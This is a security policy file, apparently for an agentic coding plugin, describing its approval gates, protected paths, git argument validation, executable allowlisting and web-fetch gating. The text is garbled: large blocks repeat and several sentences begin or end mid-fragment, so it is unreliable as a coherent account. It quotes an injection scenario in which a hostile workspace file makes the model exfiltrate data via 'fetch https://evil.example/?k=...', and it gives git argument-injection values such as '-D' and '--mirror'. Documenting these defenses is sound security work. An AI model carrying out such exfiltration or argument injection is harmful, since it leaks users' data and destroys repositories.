SECURITY.md
SECURITY.md
gh credential scope.realpath.native and the workspace-relative path recomputed from it, so a name that opens a protected file matches that file's own rule. On Windows the alias spellings are additionally refused outright, before any filesystem state is consulted: a path component in the 8.3 short-name shape (GIT~1, AGENTI~1, CREDEN~1.JSO — the Windows default NtfsDisable8dot3NameCreation = 2 still generates these) and any component containing : (an NTFS alternate data stream: .env::$DATA is .env, and .env:alt hides content on it) both fail INVALID_INPUT. A long name containing a tilde, such as draft-version~12.md, is not an alias and stays editable. Off Windows neither spelling names anything but itself and both are ordinary paths..git/** and .agentic/** are always protected against model edits. They stay readable: a model recovers after compaction by reading .agentic/MEMORY.md, a stored research source, a transaction diff or review receipt, a task board's state.json or a plan's plan.md, and the envelopes hand it those paths on purpose. Protection here means integrity, not confidentiality.workspace_inspect and by a sub-agent. Keep secrets outside the selected workspace; do not rely on protectedPatterns to hide them from the model.These controls reduce accidental misuse; they do not sandbox an allowed executable. Use a disposable account/container/VM for untrusted repositories.
DNS rebinding and browser complexity mean this is defense in depth, not a formal network sandbox. Keep private-network access disabled unless the target is explicitly trusted.
Use a dedicated browser profile and avoid signing into sensitive accounts during autonomous browsing.
Git and gh are run as an executable plus an argument array with no shell, but git reads options and refs in the same argv positions, so every ref, branch, base and head value is refused when it starts with -, + or : — branch: "-D" would otherwise build git branch -D <ref>, a deletion the gate had classified as a non-destructive branch create, and branch: "--mirror" on a push would force-update and delete remote refs with force unset. remote is validated as the name of a configured remote (letters, digits, ., _, -), never a URL, so the repository cannot be pushed to a host the user never configured.
Working-tree-destructive Git actions (checkout, branch deletion) and forced push (force: true, sent as --force-with-lease) require the global destructive-commit setting. Push, issue creation, PR creation, commit, staging, checkout, and branch creation/deletion are gated by the permission mode; they are externally visible side effects and should be limited by repository permissions and a narrow gh token.
Outside Auto mode a mutating operation runs only after the user's /accept. An approval record is bound to the SHA-256 of the exact normalized operation (the transaction's operation hash together with the before-hash of every file it touches, the resolved command spec, the git/gh argument list, the browser action list, or the sub-agent run spec), so a different or edited call — or the same edit after a touched file changed on disk — never matches it; it is single-use and is marked consumed as soon as the mutation succeeds; it is scoped to the workspace whose .agentic/approvals/state.json holds it, which workspace_edit can never touch; and every record — an approved plan included — expires 24 hours after it was created, a denial staying in force for the identical operation until then. Records are scoped to a workspace and there is no chat id to scope them with, so the 24-hour bound is what stops a plan approved in one conversation from silently unlocking Plan mode in another days later; the <agentic-mode> hint reports an active plan's age once it is over an hour old. Decisions are recorded only from chat commands, never from tool calls, so the model cannot approve its own operations. A bare /accept decides exactly one record — the most recently staged pending one — so when several are waiting, /accept <id> is the only way to approve a specific one; the <agentic-mode> hint lists them newest-first and says so. Destructive operations are refused before the approval is consulted whenever Allow destructive commits is off. Approvals decide whether an operation runs; they do not sandbox it.
Search snippets are explicitly treated as discovery hints. Deep research is prompted to fetch evidence, record source IDs, distinguish facts from inference, and preserve uncertainty. This improves traceability but does not guarantee source truthfulness or model accuracy.
gh credential scope.realpath.native and the workspace-relative path recomputed from it, so a name that opens a protected file matches that file's own rule. On Windows the alias spellings are additionally refused outright, before any filesystem state is consulted: a path component in the 8.3 short-name shape (GIT~1, AGENTI~1, CREDEN~1.JSO — the Windows default NtfsDisable8dot3NameCreation = 2 still generates these) and any component containing : (an NTFS alternate data stream: .env::$DATA is .env, and .env:alt hides content on it) both fail INVALID_INPUT. A long name containing a tilde, such as draft-version~12.md, is not an alias and stays editable. Off Windows neither spelling names anything but itself and both are ordinary paths..git/** and .agentic/** are always protected against model edits. They stay readable: a model recovers after compaction by reading .agentic/MEMORY.md, a stored research source, a transaction diff or review receipt, a task board's state.json or a plan's plan.md, and the envelopes hand it those paths on purpose. Protection here means integrity, not confidentiality.workspace_inspect and by a sub-agent. Keep secrets outside the selected workspace; do not rely on protectedPatterns to hide them from the model.These controls reduce accidental misuse; they do not sandbox an allowed executable. Use a disposable account/container/VM for untrusted repositories.
DNS rebinding and browser complexity mean this is defense in depth, not a formal network sandbox. Keep private-network access disabled unless the target is explicitly trusted.
Use a dedicated browser profile and avoid signing into sensitive accounts during autonomous browsing.
Git and gh are run as an executable plus an argument array with no shell, but git reads options and refs in the same argv positions, so every ref, branch, base and head value is refused when it starts with -, + or : — branch: "-D" would otherwise build git branch -D <ref>, a deletion the gate had classified as a non-destructive branch create, and branch: "--mirror" on a push would force-update and delete remote refs with force unset. remote is validated as the name of a configured remote (letters, digits, ., _, -), never a URL, so the repository cannot be pushed to a host the user never configured.
Working-tree-destructive Git actions (checkout, branch deletion) and forced push (force: true, sent as --force-with-lease) require the global destructive-commit setting. Push, issue creation, PR creation, commit, staging, checkout, and branch creation/deletion are gated by the permission mode; they are externally visible side effects and should be limited by repository permissions and a narrow gh token.
Outside Auto mode a mutating operation runs only after the user's /accept. An approval record is bound to the SHA-256 of the exact normalized operation (the transaction's operation hash together with the before-hash of every file it touches, the resolved command spec, the git/gh argument list, the browser action list, or the sub-agent run spec), so a different or edited call — or the same edit after a touched file changed on disk — never matches it; it is single-use and is marked consumed as soon as the mutation succeeds; it is scoped to the workspace whose .agentic/approvals/state.json holds it, which workspace_edit can never touch; and every record — an approved plan included — expires 24 hours after it was created, a denial staying in force for the identical operation until then. Records are scoped to a workspace and there is no chat id to scope them with, so the 24-hour bound is what stops a plan approved in one conversation from silently unlocking Plan mode in another days later; the <agentic-mode> hint reports an active plan's age once it is over an hour old. Decisions are recorded only from chat commands, never from tool calls, so the model cannot approve its own operations. A bare /accept decides exactly one record — the most recently staged pending one — so when several are waiting, /accept <id> is the only way to approve a specific one; the <agentic-mode> hint lists them newest-first and says so. Destructive operations are refused before the approval is consulted whenever Allow destructive commits is off. Approvals decide whether an operation runs; they do not sandbox it.
Search snippets are explicitly treated as discovery hints. Deep research is prompted to fetch evidence, record source IDs, distinguish facts from inference, and preserve uncertainty. This improves traceability but does not guarantee source truthfulness or model accuracy.
run/start is gated by the permission mode (an approved plan in Plan mode, a per-command /accept in Manual mode). Disable it for untrusted repositories.shell: false; no shell command strings.node_modules/.bin, so a repository cannot shadow git, node or other global tools with planted shims; a .cmd/.bat file is run only when it has the shape of an npm-generated Node shim — its final %* invocation line names an existing file relative to a quoted %~dp0 — and the batch file itself is never executed: only the script it names, under node. The Node interpreter for a shim is never taken from a repository directory, unless the repository's own node_modules/.bin is itself on PATH; it is also restricted to a real .exe/.com binary, so a planted node.cmd cannot become the interpreter. A repo-supplied .exe/.com under an allowlisted name found in node_modules/.bin is still spawned directly — no shim check applies to it — so the allowlist and the PATH-first order are what bound this. Command results report the absolute resolvedExecutable/resolvedScript deliberately, so the model and the user can audit exactly which binary and script ran.run and for start with a positive timeout_seconds. start with timeout_seconds: 0 is unbounded on purpose — no timer is armed, and the job outlives the turn and a plugin reload (reporting orphaned on the next status). Nothing but cancel, the process exiting, or killing it yourself stops it, so treat a zero timeout as a deliberate grant.workspace_research search, fetch and deep are read-shaped but they reach a host outside this machine, so they go through the same gate as browser control (kind: "web"): staged for /accept in Manual, refused with APPROVAL_REQUIRED in Plan until a plan is approved, allowed in Auto. A sub-agent carries its own web_search/fetch_source inside the run, which the gate never sees call by call, so the gate is applied once at the run's entry instead: in Manual mode workspace_agent run/start is staged whenever the run would have commands or effective web access. Without this a hostile file in the workspace could exfiltrate through a single fetch https://evil.example/?k=<what the model just read> in the default Plan mode, before the user had approved anything. start, note, show, list and archive touch only local .agentic/ state and stay ungated.run/start is gated by the permission mode (an approved plan in Plan mode, a per-command /accept in Manual mode). Disable it for untrusted repositories.shell: false; no shell command strings.node_modules/.bin, so a repository cannot shadow git, node or other global tools with planted shims; a .cmd/.bat file is run only when it has the shape of an npm-generated Node shim — its final %* invocation line names an existing file relative to a quoted %~dp0 — and the batch file itself is never executed: only the script it names, under node. The Node interpreter for a shim is never taken from a repository directory, unless the repository's own node_modules/.bin is itself on PATH; it is also restricted to a real .exe/.com binary, so a planted node.cmd cannot become the interpreter. A repo-supplied .exe/.com under an allowlisted name found in node_modules/.bin is still spawned directly — no shim check applies to it — so the allowlist and the PATH-first order are what bound this. Command results report the absolute resolvedExecutable/resolvedScript deliberately, so the model and the user can audit exactly which binary and script ran.run and for start with a positive timeout_seconds. start with timeout_seconds: 0 is unbounded on purpose — no timer is armed, and the job outlives the turn and a plugin reload (reporting orphaned on the next status). Nothing but cancel, the process exiting, or killing it yourself stops it, so treat a zero timeout as a deliberate grant.workspace_research search, fetch and deep are read-shaped but they reach a host outside this machine, so they go through the same gate as browser control (kind: "web"): staged for /accept in Manual, refused with APPROVAL_REQUIRED in Plan until a plan is approved, allowed in Auto. A sub-agent carries its own web_search/fetch_source inside the run, which the gate never sees call by call, so the gate is applied once at the run's entry instead: in Manual mode workspace_agent run/start is staged whenever the run would have commands or effective web access. Without this a hostile file in the workspace could exfiltrate through a single fetch https://evil.example/?k=<what the model just read> in the default Plan mode, before the user had approved anything. start, note, show, list and archive touch only local .agentic/ state and stay ungated.